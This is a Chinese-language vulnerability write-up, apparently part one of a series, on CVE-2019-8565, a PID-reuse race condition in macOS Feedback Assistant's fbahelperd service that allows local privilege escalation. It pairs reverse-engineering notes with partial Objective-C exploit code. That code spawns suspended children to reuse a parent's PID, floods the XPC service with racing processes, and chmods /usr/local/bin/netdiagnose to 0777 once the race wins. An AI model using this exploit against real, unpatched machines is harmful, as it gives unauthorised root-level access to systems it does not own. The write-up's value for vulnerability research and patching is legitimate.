CVE-2019-8565:Feedback Assistant条件竞争漏洞引发的本地权限提升(上)

551 阅读3分钟
原文链接: www.anquanke.com

 

0x001 前言

一个具有特权的用户态进程从一个不具有特权的client进程接收到一个IPC消息,首先要做的就是验证client进程的有效性,一般是通过代码签名(如bundle id、PID或者entitlement等等)。如果是基于PID的安全检查,那么就可以利用PID的重用攻击来绕过检查。CVE-2019-8565是用户态上的一个条件竞争漏洞,在macOS 10.14.3及以下版本存在。该漏洞存在于Feedback Assistant的service程序fbahelperd,通过child进程竞争重用parent进程的PID,绕过安全检查,导致在特权下执行脚本命令。基于PID的安全检查一般会调用这类API:sandbox_checkSecTaskCreateWithPID

 

0x002 调试环境

主机: macOS Mojave 10.14.2 18C54

 

0x003 漏洞成因分析

查看本机上的服务,这里的fbahelperd就是我们本文中的主角

r2看看导出的类和方法,有一个接口类FBAPrivilegedDaemon,这个对我们写EXP比较重要,这里先记下来。再看到- (char) listener:shouldAcceptNewConnection:这个方法,接下来重点分析以下这个方法。

IDA分析fbahelperd这个程序,找到方法listener:shouldAcceptNewConnection:。看到代码中标记出来的这些地方,比较明显是调用了processIdentifier对象方法,这一般是进行PID检查。另外,还有一个SecCodeCreateWithPID的提示,基本上确定了,fbahelperd这个service接收到clientFeedback Assistant发出的XPC消息后会做一个PID的检查。

另外还有一些bundle id等的检查需要绕过

查看fbahelperd对应的plist文件,据此构造子进程发送的XPC消息

条件竞争的触发过程:

  1. 通过posix_spawn或者NSTask创建多个client进程。
  2. 通过clien发送多个XPC消息到server端以阻塞消息队列。
  3. 传递POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDEDposix_spawn去创建挂起状态的子进程并且重用父进程的PID。
  4. 若是父进程能成功访问/usr/local/bin/netdiagnose,证明子进程成功重用了父进程的PID,并且通过了安全检查,同样,父进程也通过了检查。

 

0x004 Bypass security check

创建挂起状态的子进程,重用父进程PID并绕过检查

void child(const char *path, int stage) {
  NSDictionary *transformed = [[NSDictionary alloc] initWithContentsOfFile:[NSString stringWithUTF8String:path]]; // "/var/log/../../../var/folders/cf/jsvwdrj532q17tgmsnxl4x1c0000gn/T/E694DB2F-72C9-4911-85F5-E1FED6726D6C-52092-00004AAFD253FE62/bin/root.sh" = "/tmp/../../usr/local/bin/netdiagnose"
  NSXPCConnection *connection = [[NSXPCConnection alloc] initWithMachServiceName:@"com.apple.appleseed.fbahelperd"
                                                                         options:NSXPCConnectionPrivileged];
  connection.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(FBAPrivilegedDaemon)];
  [connection resume];
  id remote = connection.remoteObjectProxy;

  ......

  char target_binary[] = BINARY;
  char *target_argv[] = {target_binary, NULL};
  posix_spawnattr_t attr;
  posix_spawnattr_init(&attr);
  short flags;
  posix_spawnattr_getflags(&attr, &flags);
  flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED);
  posix_spawnattr_setflags(&attr, flags);
  posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ);
}

创建、终止子进程宏

#define RACE_COUNT 16

#define SPAWN_CHILDREN(stage)                                                                                      
  for (int i = 0; i < RACE_COUNT; i++)                                                                             
    processes[i] = [NSTask launchedTaskWithLaunchPath:exec arguments:@[ session, @ #stage ]];

#define TERMINATE_CHILDREN                                                                                         
  for (int i = 0; i < RACE_COUNT; i++)                                                                             
    [processes[i] terminate];

触发条件竞争

int exploit(NSString *session, const char *canary) {
  int status = 0;
  NSString *exec = [[NSBundle mainBundle] executablePath];
  NSTask *processes[RACE_COUNT];


  LOG("Now race");
  SPAWN_CHILDREN(1);


  int i = 0;
  struct timespec ts = {
      .tv_sec = 0,
      .tv_nsec = 500 * 1000000,
  };

  while (access(canary, F_OK) == -1) {  // 访问"/usr/local/bin/netdiagnose"失败,等待,用以判断race是否成功
    nanosleep(&ts, NULL);
    if (++i > 4) { // wait for 2 seconds at most
      LOG("Stage 1 timed out, retry");
      status = -1;
      goto cleanup;
    }
  }

  chmod(canary, 0777);  // 访问成功后将权限提到最高
  LOG("Stage 1 succeed");

cleanup:
  TERMINATE_CHILDREN
  return status;
}

成功绕过service的检测